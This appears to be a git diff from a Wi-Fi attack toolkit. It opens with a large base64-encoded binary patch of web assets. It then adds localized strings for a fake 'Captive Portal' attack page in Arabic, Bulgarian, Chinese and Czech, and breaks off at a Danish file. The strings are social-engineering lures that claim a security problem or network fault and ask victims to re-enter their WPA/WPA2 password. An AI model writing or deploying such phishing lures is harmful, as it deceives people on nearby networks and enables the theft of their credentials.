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 +0ArOJNIBUEsFBgAAAAAJAAkAhwMAAOfpAQAAAA== diff --git a/attacks/Captive Portal/generic/languages/Arabic.lang b/attacks/Captive Portal/generic/languages/Arabic.lang new file mode 100644 index 0000000..e71e565 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Arabic.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="الرجاء إدخال كلمة المرور الخاصة بالشبكة للإتصال بشبكة الانترنت." +DIALOG_WEB_INPUT="كلمة السر:" +DIALOG_WEB_SUBMIT="تأكيد" +DIALOG_WEB_ERROR="خطأ: كلمة السر المدخلة غير صحيحة!" +DIALOG_WEB_OK="الرجاء الإنتظار بينما يتم التأكد من كلمة السر و استعادة الاتصال! شكرا لتعاونكم" +DIALOG_WEB_BACK="عودة" +DIALOG_WEB_ERROR_MSG="هذا الحقل إلزامي" +DIALOG_WEB_LENGTH_MIN="يجب أن تكون كلمة المرور أكثر من {0} أحرف او أرقام" +DIALOG_WEB_LENGTH_MAX="يجب أن تكون كلمة المرور أقل من {0} أحرف او أرقام" +DIALOG_WEB_DIR="rtl" diff --git a/attacks/Captive Portal/generic/languages/Bulgarian.lang b/attacks/Captive Portal/generic/languages/Bulgarian.lang new file mode 100644 index 0000000..f2a4ee2 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Bulgarian.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="От съображения за сигурност е необходимо да въведете своята WPA парола за да получите достъп до Интернет." +DIALOG_WEB_INPUT="Въведете своята WPA парола:" +DIALOG_WEB_SUBMIT="Изпращане" +DIALOG_WEB_ERROR="Грешка: Въведената парола е неправилна!" +DIALOG_WEB_OK="Връзката ще бъде възстановена след няколко секунди." +DIALOG_WEB_BACK="Назад" +DIALOG_WEB_ERROR_MSG="Това поле е задължително!" +DIALOG_WEB_LENGTH_MIN="Паролата трябва да съдържа повече от {0} символа!" +DIALOG_WEB_LENGTH_MAX="Паролата трябва да съдържа по-малко от {0} символа!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Chinese.lang b/attacks/Captive Portal/generic/languages/Chinese.lang new file mode 100644 index 0000000..619891b --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Chinese.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="您的网络出现了严重问题,请输入密码来自动修复" +DIALOG_WEB_INPUT="请输入您的无线网络密码:" +DIALOG_WEB_SUBMIT="提交并修复" +DIALOG_WEB_ERROR="出错了:您输入的密码错误!" +DIALOG_WEB_OK="正在自动修复错误,网络会在短时间内恢复" +DIALOG_WEB_BACK_ZH="返回" +DIALOG_WEB_ERROR_MSG="此处不能为空" +DIALOG_WEB_LENGTH_MIN="密码最少要有{0}个字符!" +DIALOG_WEB_LENGTH_MAX="密码必须少于{0}个字符!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Czech.lang b/attacks/Captive Portal/generic/languages/Czech.lang new file mode 100644 index 0000000..99b2f44 --- /dev/null +++ b/attacks/Captive Portal/generic/languages/Czech.lang @@ -0,0 +1,10 @@ +DIALOG_WEB_INFO="Omlouváme se, ale došlo k problémům se zabezpečením vašeho bezdrátového routeru. Zadejte prosím znovu vaše heslo WPA/WPA2." +DIALOG_WEB_INPUT="Vaše heslo WPA/WPA2:" +DIALOG_WEB_SUBMIT="Odeslat" +DIALOG_WEB_ERROR="Chyba: Zadané heslo není správné!" +DIALOG_WEB_OK="Děkujeme, vaše připojení bude během krátké chvíle obnoveno." +DIALOG_WEB_BACK="Zpět" +DIALOG_WEB_ERROR_MSG="Toto pole musíte vyplnit." +DIALOG_WEB_LENGTH_MIN="Heslo musí být delší než {0} znak(ů)!" +DIALOG_WEB_LENGTH_MAX="Heslo musí být kratší než {0} znaků(ů)!" +DIALOG_WEB_DIR="ltr" diff --git a/attacks/Captive Portal/generic/languages/Danish.lang b/attacks/Captive Portal/generic/languages/Danish.lang new file 